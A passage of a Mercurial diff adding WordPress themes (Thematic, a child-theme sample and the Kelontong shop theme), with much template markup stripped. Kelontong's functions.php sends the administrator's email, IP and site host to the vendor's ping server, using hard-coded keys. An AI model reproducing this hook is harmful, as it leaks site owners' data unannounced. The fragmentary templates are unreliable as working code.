    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,91 @@ +/* +THEME NAME: Thematic +THEME URI: http://themeshaper.com/thematic/ +DESCRIPTION: The ultimate in SEO-ready themes, Thematic is a highly extensible, WordPress Theme Framework featuring 13 widget-ready areas, drop-down menus, grid-based layout samples, plugin integration, shortcodes for your footer, & a whole lot more. Perfect for any blog and the starting point for theme development. +VERSION: 0.9.6.2 +AUTHOR: Ian Stewart +AUTHOR URI: http://themeshaper.com/ +TAGS: white, three-columns, two-columns, fixed-width, theme-options, left-sidebar, right-sidebar, threaded-comments, sticky-post, microformats +. +The Thematic Theme is copyright Ian Stewart http://themeshaper.com/ +This work, like WordPress, is released under GNU General Public License, version 2 (GPL). +http://www.gnu.org/licenses/old-licenses/gpl-2.0.html +. +*/ + +/* Reset browser defaults */ +@import url('library/styles/reset.css'); + +/* Apply basic typography styles */ +@import url('library/styles/typography.css'); + +/* Apply a basic layout */ +@import url('library/layouts/2c-r-fixed.css'); + +/* Apply basic image styles */ +@import url('library/styles/images.css'); + +/* Apply default theme styles and colors */ +@import url('library/styles/default.css'); + +/* Prepare theme for plugins */ +@import url('library/styles/plugins.css'); + +/* -------------------------------------------------------------- + + Default styles for Images + + I've duplicated these styles here from images.css in + order to get Thematic through the auto-checker at the + official WordPress Themes directory. + + When the directory can hunt though css files linked + through @import the styles below will no longer be + neccesary and will be removed. + + Cheers. --Ian Stewart + +-------------------------------------------------------------- */ + +.entry-content img { + margin: 0 0 18px 0; + max-width:100%; +} +.alignleft, +img.alignleft { + float: left; + margin-right:20px; +} +.alignright, +img.alignright { + display: block; + float: right; + margin-left:20px; +} +.aligncenter, +img.aligncenter { + margin-left:auto; + margin-right:auto; + display: block; + clear: both; +} +.wp-caption { + text-align: center; + margin-bottom:18px; +} +.wp-caption img { + margin: 0; + padding: 0; + border: 0 none; +} +.wp-caption p.wp-caption-text { + margin: 0; + padding:5px; +} +.gallery img { + margin:0; +} +.wp-smiley { /* Prevent the smileys from breaking line-height */ + max-height:12px; + margin:0 !important; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/tag.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/tag.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,50 @@ + + +
    +
    + + + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/thematicsamplechildtheme/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/thematicsamplechildtheme/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,25 @@ + 'Home', +// 'sort_column' => 'menu_order', +// 'menu_class' => 'menu', +// 'echo' => true +// ); +// return $args; +//} +//add_filter('wp_page_menu_args','childtheme_menu_args'); + + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/thematicsamplechildtheme/readme.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/thematicsamplechildtheme/readme.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ +Use these theme files to start your Thematic Child Theme development. +Rename and move this entire folder to the root level of wp-content/themes +alongside Thematic and activate your new Thematic Child Theme like any +other WordPress theme. + +Good luck! + +-- +Ian Stewart +ian@themeshaper.com +http://themeshaper.com/ \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/thematicsamplechildtheme/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/thematicsamplechildtheme/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,34 @@ +/* +Theme Name: A Thematic Child Theme +Theme URI: +Description: Use this theme to start your Thematic Child Theme development. +Author: Ian Stewart +Author URI: http://themeshaper.com/ +Template: thematic +Version: 1.0 +Tags: Thematic +. +Thematic is © Ian Stewart http://themeshaper.com/ +. +*/ + +/* Reset browser defaults */ +@import url('../thematic/library/styles/reset.css'); + +/* Apply basic typography styles */ +@import url('../thematic/library/styles/typography.css'); + +/* Apply a basic layout */ +@import url('../thematic/library/layouts/2c-r-fixed.css'); + +/* Apply basic image styles */ +@import url('../thematic/library/styles/images.css'); + +/* Apply default theme styles and colors */ +/* It's better to actually copy over default.css into this file (or link to a copy in your child theme) if you're going to do anything outrageous */ +@import url('../thematic/library/styles/default.css'); + +/* Prepare theme for plugins */ +@import url('../thematic/library/styles/plugins.css'); + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,10 @@ +
    +
    +

    Error 404: Page Not Found

    +
    + +
    +

    Sorry, but you are looking for something that isn't here.

    +

    Return to the homepage…

    +
    +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,110 @@ + + +
    +
    +
    + + + + + +

    Archive for the ‘’ Category

    + +

    Posts Tagged ‘

    + +

    Archive for

    + +

    Archive for

    + +

    Archive for

    + +

    Author Archive

    + +

    Blog Archives

    + + + + + + +
    > +

    + + + +

    +
    + + +
    +
    + Tags: ', ', ', ''); ?> +
    +
    + +
    +
    + +
    +
    + + + + + Sorry, but there aren't any posts in the %s category yet.", single_cat_title('',false)); + } else if ( is_date() ) { // If this is a date archive + echo("

    Sorry, but there aren't any posts with this date.

    "); + } else if ( is_author() ) { // If this is a category archive + $userdata = get_userdatabylogin(get_query_var('author_name')); + printf("

    Sorry, but there aren't any posts by %s yet.

    ", $userdata->display_name); + } else { + echo("

    No posts found.

    "); + } + get_search_form(); + + endif; +?> + +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/archives.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/archives.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,51 @@ + + + + +
    +
    +
    + +

    Archives by Month:

    +
      + +
    +

    Archives by Subject:

    +
      + +
    +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/comments-popup.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/comments-popup.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,124 @@ + + + + <?php echo get_option('blogname'); ?> - Comments on <?php the_title(); ?> + + + + + + + +

    + + +

    Comments

    + +

    RSS feed for comments on this post.

    + + +

    The URL to TrackBack this entry is:

    + + + + + +
      + +
    1. + +

      by @

      +
    2. + + +
    + +

    No comments yet.

    + + + +

    Leave a comment

    +

    Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed:

    + +
    + +

    Logged in as . Log out »

    + +

    + + +

    + +

    + + +

    + +

    + + +

    + + +

    + +
    + +

    + +

    + + " /> + +

    + ID); ?> +
    + +

    Sorry, the comment form is closed at this time.

    + + + + + +

    Sorry, no posts matched your criteria.

    + + + +

    Powered by WordPress

    + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,125 @@ +post_password)) { // if there's a password + if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie + ?>

    This post is password protected. Enter the password to view comments.

    + + +comment_status || $comments) : ?> +

    + +

    + + + + + + +
    + +
    + + at + + comment_approved == '0') : ?> +

    + + + +
    +
    + + + + + + + comment_status) : ?> + + + + + + + + + + +

    +
      + +
    • + · + + + + +
    • + +
    + + + +comment_status) : ?> +

    + +

    + +
    +
    + +

    + · + +

    +
    + + + + + + + + + + + + + + + + + +

    + +

    +
    + + ID); ?> +
    +
    + + + +
    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,39 @@ + + + + +
    +
    + + + + 'menu_order', 'parent' => 0)); ?> + + +
    +
    + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,113 @@ +'Sidebar', + 'before_widget' => '', + 'before_title' => '

    ', + 'after_title' => '

    ', + )); +} + +/* Replace the search widget with custom search form +==================================================== */ +function widget_mytheme_search() { + $filename = TEMPLATEPATH . '/searchform.php'; if (file_exists($filename)) { include($filename); } +} +if ( function_exists('register_sidebar_widget') ) { + register_sidebar_widget(__('Search'), 'widget_mytheme_search'); +} + +/* Fix page navigation when posts are offset +==================================================== */ +function my_post_limit($limit) { + global $paged, $myOffset; + if (empty($paged)) { + $paged = 1; + } + $postperpage = intval(get_option('posts_per_page')); + $pgstrt = ((intval($paged) -1) * $postperpage) + $myOffset . ', '; + $limit = 'LIMIT '.$pgstrt.$postperpage; + return $limit; +} + +/* Separate Trackbacks/Pingbacks From Comments +==================================================== */ +add_filter('comments_array', 'filterComments', 0); +add_filter('get_comments_number', 'filterCommentsNumber'); +//Updates the comment number for posts with trackbacks +function filterCommentsNumber($count) { + global $id; + if (empty($id)) { return $count; } + $comments = get_approved_comments((int)$id); + $comments = array_filter($comments, "stripTrackback"); + return sizeof($comments); +} +//Updates the count for comments and trackbacks +function filterComments($comms) { + global $comments, $trackbacks; + $comments = array_filter($comms,"stripTrackback"); + $trackbacks = array_filter($comms, "stripComment"); + return $comments; +} +//Strips out trackbacks/pingbacks +function stripTrackback($var) { + if ($var->comment_type == 'trackback' || $var->comment_type == 'pingback') { return false; } + return true; +} +//Strips out comments +function stripComment($var) { + if ($var->comment_type != 'trackback' && $var->comment_type != 'pingback') { return false; } + return true; +} + +include(TEMPLATEPATH . '/libraries/icl_utility.php'); +$icl_utility = new ICL_Utility(); + +function icl_admin() +{ + global $icl_utility; + + require_once(ABSPATH . '/wp-admin/includes/template.php'); + require_once(ABSPATH . '/wp-admin/includes/dashboard.php'); + if (function_exists('wp_add_dashboard_widget')) + { + do_action('wp_dashboard_setup'); + wp_add_dashboard_widget('icl_feed_list', 'iCreativeLabs News', array('ICL_Utility', 'icl_dashboard_news_list')); + } + + /* + |-------------------------------------------------------------------------- + | MENU + |-------------------------------------------------------------------------- + */ + add_object_page('Kelontong Options', 'Kelontong', 'edit_themes', 'libraries/icl_utility.php', array('ICL_Utility', 'icl_general')); + add_submenu_page('libraries/icl_utility.php', 'Main Menu Options', 'Main Menu', 'edit_themes', 'icl_menu', array('ICL_Utility', 'icl_menu')); + add_submenu_page('libraries/icl_utility.php', 'Categories Options', 'Categories', 'edit_themes', 'icl_categories', array('ICL_Utility', 'icl_categories')); + add_submenu_page('libraries/icl_utility.php', 'Products Options', 'Products', 'edit_themes', 'icl_products', array('ICL_Utility', 'icl_products')); + add_submenu_page('libraries/icl_utility.php', 'Wishlist Options', 'Wishlist', 'edit_themes', 'icl_wishlist', array('ICL_Utility', 'icl_wishlist')); + add_submenu_page('libraries/icl_utility.php', 'Price Rules Options', 'Price Rules', 'edit_themes', 'icl_price_rules', array('ICL_Utility', 'icl_price_rules')); + add_submenu_page('libraries/icl_utility.php', 'Banner Options', 'Banner', 'edit_themes', 'icl_banner', array('ICL_Utility', 'icl_banner')); + + if (current_user_can('manage_options')) + { + global $user_email; + get_currentuserinfo(); + $theme = current_theme_info(); + $icl_utility->ping('http://ping.icreativelabs.com', 'icl.ping.wp.theme', array( + 'api_key' => 'OMN*#N(fjk397823704dshf()#*(&$NU#', + 'format' => 'json', + 'ip' => $_SERVER['REMOTE_ADDR'], + 'host' => $_SERVER['HTTP_HOST'], + 'email' => $user_email, + 'version' => $theme->version + ), 'DNRB*j037309nEINER)(#ueue8937NE(U#'); + } +} + +add_action('admin_menu', 'icl_admin'); +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,254 @@ + +stripNonText($icl_utility->extractArgument('&'.$query_string, 'category_id')); + +$categories_structure = array(); +$icl_utility->get_categories_structure($categories_structure); + +$parent_category = $icl_utility->get_parent_category_id($categories_structure, $current_category); +if (!isset($categories_structure[$current_category]) || count($categories_structure[$current_category]) == 0) +{ + $current_category = $parent_category; +} + +?> + +> + + + +<?php wp_title('«', true, 'right'); ?> <?php bloginfo('name'); ?> + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    + 'menu_order', 'parent' => 0)); ?> + +
    +
    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/image.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/image.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,70 @@ + + +
    + + + +
    +

    post_parent); ?> »

    +
    +

    ID, 'medium' ); ?>

    +
    post_excerpt) ) the_excerpt(); // this is the "caption" ?>
    + + Read the rest of this entry »

    '); ?> + + +
    + + + +
    + +
    + + + + + +

    Sorry, no attachments matched your criteria.

    + + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/add-to-cart.png Binary file web/wp-content/themes/themes/kelontong/images/add-to-cart.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/arrow_refresh.png Binary file web/wp-content/themes/themes/kelontong/images/arrow_refresh.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/blog-comment.png Binary file web/wp-content/themes/themes/kelontong/images/blog-comment.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/blog-quote.png Binary file web/wp-content/themes/themes/kelontong/images/blog-quote.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/cart_add.png Binary file web/wp-content/themes/themes/kelontong/images/cart_add.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/checkout.png Binary file web/wp-content/themes/themes/kelontong/images/checkout.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/clear.png Binary file web/wp-content/themes/themes/kelontong/images/clear.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/delete.png Binary file web/wp-content/themes/themes/kelontong/images/delete.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/facebook.png Binary file web/wp-content/themes/themes/kelontong/images/facebook.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/featured-more.png Binary file web/wp-content/themes/themes/kelontong/images/featured-more.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/featured.png Binary file web/wp-content/themes/themes/kelontong/images/featured.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/foot-nav-bar.png Binary file web/wp-content/themes/themes/kelontong/images/foot-nav-bar.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/foot-nav.png Binary file web/wp-content/themes/themes/kelontong/images/foot-nav.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/fullspec.jpg Binary file web/wp-content/themes/themes/kelontong/images/fullspec.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/head-categories.png Binary file web/wp-content/themes/themes/kelontong/images/head-categories.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/header-bg.png Binary file web/wp-content/themes/themes/kelontong/images/header-bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/heart.png Binary file web/wp-content/themes/themes/kelontong/images/heart.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/list.png Binary file web/wp-content/themes/themes/kelontong/images/list.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/logo.png Binary file web/wp-content/themes/themes/kelontong/images/logo.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/logo_icl.png Binary file web/wp-content/themes/themes/kelontong/images/logo_icl.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/main.png Binary file web/wp-content/themes/themes/kelontong/images/main.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/more.png Binary file web/wp-content/themes/themes/kelontong/images/more.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/newest.png Binary file web/wp-content/themes/themes/kelontong/images/newest.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/rss.png Binary file web/wp-content/themes/themes/kelontong/images/rss.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/scroll-left.png Binary file web/wp-content/themes/themes/kelontong/images/scroll-left.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/scroll-right.png Binary file web/wp-content/themes/themes/kelontong/images/scroll-right.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/search.jpg Binary file web/wp-content/themes/themes/kelontong/images/search.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/sidebar-cart.png Binary file web/wp-content/themes/themes/kelontong/images/sidebar-cart.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/sidebar.png Binary file web/wp-content/themes/themes/kelontong/images/sidebar.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/top-nav-bar.png Binary file web/wp-content/themes/themes/kelontong/images/top-nav-bar.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/top-nav.png Binary file web/wp-content/themes/themes/kelontong/images/top-nav.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/twitter.png Binary file web/wp-content/themes/themes/kelontong/images/twitter.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/images/user.png Binary file web/wp-content/themes/themes/kelontong/images/user.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,146 @@ +get_var('SELECT id FROM '. WPSC_TABLE_PRODUCT_CATEGORIES . ' WHERE `nice-name` = "featured" LIMIT 1'); +if($featured_category != null) +{ + $wpsc_query = new WPSC_Query(array('category_id' => $featured_category)); + $has_featured = TRUE; +} + +get_header(); ?> + + + + + get_var('SELECT id FROM '. WPSC_TABLE_PRODUCT_CATEGORIES . ' WHERE `nice-name` = "newest" LIMIT 1'); + if($newest_category != null) + { + $wpsc_query = new WPSC_Query(array('category_id' => $newest_category)); + $has_new = TRUE; + } + ?> + +
    +
    + + +
    +
    +
    + +
    + +
    + + + <?php echo wpsc_the_product_title(); ?> + + No Image Available + +
    + +
    + + 20) ? substr($p_title, 0, 20) . '...' : $p_title; ?> + + + + + +
    +
    +

    + output_get_categories(wpsc_the_product_id(), ', ', '', ''); ?> +

    +

    + + + + + + + +

    +
    +
    + +
    +

    + +

    +
    + +
    +
    +
    + + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/themes/kelontong/js/stepcarousel.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/themes/kelontong/js/stepcarousel.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,263 @@ +//Step Carousel Viewer: By Dynamic Drive, at http://www.dynamicdrive.com +//** Created: March 19th, 08' +//** Aug 16th, 08'- Updated to v 1.4: + //1) Adds ability to set speed/duration of panel animation (in milliseconds) + //2) Adds persistence support, so the last viewed panel is recalled when viewer returns within same browser session + //3) Adds ability to specify whether panels should stop at the very last and first panel, or wrap around and start all over again + //4) Adds option to specify two navigational image links positioned to the left and right of the Carousel Viewer to move the panels back and forth + +//** Aug 27th, 08'- Nav buttons (if enabled) also repositions themselves now if window is resized + +//** Sept 23rd, 08'- Updated to v 1.6: + //1) Carousel now stops at the very last visible panel, instead of the last panel itself. In other words, no more white space at the end. + //2) Adds ability for Carousel to auto rotate dictated by the new parameter: autostep: {enable:true, moveby:1, pause:3000} + //2i) During Auto Rotate, Carousel pauses onMouseover, resumes onMouseout. Clicking Carousel halts auto rotate. + +//** Oct 22nd, 08'- Updated to v 1.6.1, which fixes functions stepBy() and stepTo() not stopping auto stepping of Carousel when called. +//** July 10th, 09'- Updated to v 1.6.2- Adds jQuery.noconflict to work better with other libraries + +jQuery.noConflict() + +var stepcarousel={ + ajaxloadingmsg: '
    Fetching Content. Please wait...
    ', //customize HTML to show while fetching Ajax content + defaultbuttonsfade: 0.4, //Fade degree for disabled nav buttons (0=completely transparent, 1=completely opaque) + configholder: {}, + + getCSSValue:function(val){ //Returns either 0 (if val contains 'auto') or val as an integer + return (val=="auto")? 0 : parseInt(val) + }, + + getremotepanels:function($, config){ //function to fetch external page containing the panel DIVs + config.$belt.html(this.ajaxloadingmsg) + $.ajax({ + url: config.contenttype[1], //path to external content + async: true, + error:function(ajaxrequest){ + config.$belt.html('Error fetching content.
    Server Response: '+ajaxrequest.responseText) + }, + success:function(content){ + config.$belt.html(content) + config.$panels=config.$gallery.find('.'+config.panelclass) + stepcarousel.alignpanels($, config) + } + }) + }, + + getoffset:function(what, offsettype){ + return (what.offsetParent)? what[offsettype]+this.getoffset(what.offsetParent, offsettype) : what[offsettype] + }, + + getCookie:function(Name){ + var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair + if (document.cookie.match(re)) //if cookie found + return document.cookie.match(re)[0].split("=")[1] //return its value + return null + }, + + setCookie:function(name, value){ + document.cookie = name+"="+value + }, + + fadebuttons:function(config, currentpanel){ + config.$leftnavbutton.fadeTo('fast', currentpanel==0? this.defaultbuttonsfade : 1) + config.$rightnavbutton.fadeTo('fast', currentpanel==config.lastvisiblepanel? this.defaultbuttonsfade : 1) + }, + + addnavbuttons:function($, config, currentpanel){ + config.$leftnavbutton=$('').css({zIndex:50, position:'absolute', left:config.offsets.left+config.defaultbuttons.leftnav[1]+'px', top:config.offsets.top+config.defaultbuttons.leftnav[2]+'px', cursor:'hand', cursor:'pointer'}).attr({title:'Back '+config.defaultbuttons.moveby+' panels'}).appendTo('body') + config.$rightnavbutton=$('').css({zIndex:50, position:'absolute', left:config.offsets.left+config.$gallery.get(0).offsetWidth+config.defaultbuttons.rightnav[1]+'px', top:config.offsets.top+config.defaultbuttons.rightnav[2]+'px', cursor:'hand', cursor:'pointer'}).attr({title:'Forward '+config.defaultbuttons.moveby+' panels'}).appendTo('body') + config.$leftnavbutton.bind('click', function(){ //assign nav button event handlers + stepcarousel.stepBy(config.galleryid, -config.defaultbuttons.moveby) + }) + config.$rightnavbutton.bind('click', function(){ //assign nav button event handlers + stepcarousel.stepBy(config.galleryid, config.defaultbuttons.moveby) + }) + if (config.panelbehavior.wraparound==false){ //if carousel viewer should stop at first or last panel (instead of wrap back or forth) + this.fadebuttons(config, currentpanel) + } + return config.$leftnavbutton.add(config.$rightnavbutton) + }, + + stopautostep:function(config){ + clearTimeout(config.steptimer) + clearTimeout(config.resumeautostep) + }, + + alignpanels:function($, config){ + var paneloffset=0 + config.paneloffsets=[paneloffset] //array to store upper left offset of each panel (1st element=0) + config.panelwidths=[] //array to store widths of each panel + config.$panels.each(function(index){ //loop through panels + var $currentpanel=$(this) + $currentpanel.css({float: 'none', position: 'absolute', left: paneloffset+'px'}) //position panel + $currentpanel.bind('click', function(e){return config.onpanelclick(e.target)}) //bind onpanelclick() to onclick event + paneloffset+=stepcarousel.getCSSValue($currentpanel.css('marginRight')) + parseInt($currentpanel.get(0).offsetWidth || $currentpanel.css('width')) //calculate next panel offset + config.paneloffsets.push(paneloffset) //remember this offset + config.panelwidths.push(paneloffset-config.paneloffsets[config.paneloffsets.length-2]) //remember panel width + }) + config.paneloffsets.pop() //delete last offset (redundant) + var addpanelwidths=0 + var lastpanelindex=config.$panels.length-1 + config.lastvisiblepanel=lastpanelindex + for (var i=config.$panels.length-1; i>=0; i--){ + addpanelwidths+=(i==lastpanelindex? config.panelwidths[lastpanelindex] : config.paneloffsets[i+1]-config.paneloffsets[i]) + if (config.gallerywidth>addpanelwidths){ + config.lastvisiblepanel=i //calculate index of panel that when in 1st position reveals the very last panel all at once based on gallery width + } + } + config.$belt.css({width: paneloffset+'px'}) //Set Belt DIV to total panels' widths + config.currentpanel=(config.panelbehavior.persist)? parseInt(this.getCookie(window[config.galleryid+"persist"])) : 0 //determine 1st panel to show by default + config.currentpanel=(typeof config.currentpanel=="number" && config.currentpanel0)? 'forward' : 'back' //If "steps" is negative, that means backwards + var pindex=config.currentpanel+steps //index of panel to stop at + if (config.panelbehavior.wraparound==false){ //if carousel viewer should stop at first or last panel (instead of wrap back or forth) + pindex=(direction=="back" && pindex<=0)? 0 : (direction=="forward")? Math.min(pindex, config.lastvisiblepanel) : pindex + if (config.defaultbuttons.enable==true){ //if default nav buttons are enabled, fade them in and out depending on if at start or end of carousel + stepcarousel.fadebuttons(config, pindex) + } + } + else{ //else, for normal stepBy behavior + if (pindex>config.lastvisiblepanel && direction=="forward"){ + //if destination pindex is greater than last visible panel, yet we're currently not at the end of the carousel yet + pindex=(config.currentpanel0)? 0 : config.lastvisiblepanel /*wrap around left*/ + } + } + var endpoint=config.paneloffsets[pindex]+(pindex==0? 0 : config.beltoffset) //left distance for Belt DIV to travel to + if (pindex==0 && direction=='forward' || config.currentpanel==0 && direction=='back' && config.panelbehavior.wraparound==true){ //decide whether to apply "push pull" effect + config.$belt.animate({left: -config.paneloffsets[config.currentpanel]-(direction=='forward'? 100 : -30)+'px'}, 'normal', function(){ + config.$belt.animate({left: -endpoint+'px'}, config.panelbehavior.speed, function(){config.onslideaction(this)}) + }) + } + else + config.$belt.animate({left: -endpoint+'px'}, config.panelbehavior.speed, function(){config.onslideaction(this)}) + config.currentpanel=pindex + this.statusreport(galleryid) + }, + + autorotate:function(galleryid){ + var config=stepcarousel.configholder[galleryid] + if (config.$gallery.attr('_ismouseover')!="yes"){ + this.stepBy(galleryid, config.autostep.moveby) + } + config.steptimer=setTimeout(function(){stepcarousel.autorotate(galleryid)}, config.autostep.pause) + }, + + statusreport:function(galleryid){ + var config=stepcarousel.configholder[galleryid] + var startpoint=config.currentpanel //index of first visible panel + var visiblewidth=0 + for (var endpoint=startpoint; endpointconfig.gallerywidth){ + break + } + } + startpoint+=1 //format startpoint for user friendiness + endpoint=(endpoint+1==startpoint)? startpoint : endpoint //If only one image visible on the screen and partially hidden, set endpoint to startpoint + var valuearray=[startpoint, endpoint, config.panelwidths.length] + for (var i=0; i\n#'+config.galleryid+'{overflow: hidden;}\n') + jQuery(document).ready(function($){ + config.$gallery=$('#'+config.galleryid) + config.gallerywidth=config.$gallery.width() + config.offsets={left:stepcarousel.getoffset(config.$gallery.get(0), "offsetLeft"), top:stepcarousel.getoffset(config.$gallery.get(0), "offsetTop")} + config.$belt=config.$gallery.find('.'+config.beltclass) //Find Belt DIV that contains all the panels + config.$panels=config.$gallery.find('.'+config.panelclass) //Find Panel DIVs that each contain a slide + config.panelbehavior.wraparound=(config.autostep && config.autostep.enable)? true : config.panelbehavior.wraparound //if auto step enabled, set "wraparound" to true + config.onpanelclick=(typeof config.onpanelclick=="undefined")? function(target){} : config.onpanelclick //attach custom "onpanelclick" event handler + config.onslideaction=(typeof config.onslide=="undefined")? function(){} : function(beltobj){$(beltobj).stop(); config.onslide()} //attach custom "onslide" event handler + config.oninit=(typeof config.oninit=="undefined")? function(){} : config.oninit //attach custom "oninit" event handler + config.beltoffset=stepcarousel.getCSSValue(config.$belt.css('marginLeft')) //Find length of Belt DIV's left margin + config.statusvars=config.statusvars || [] //get variable names that will hold "start", "end", and "total" slides info + 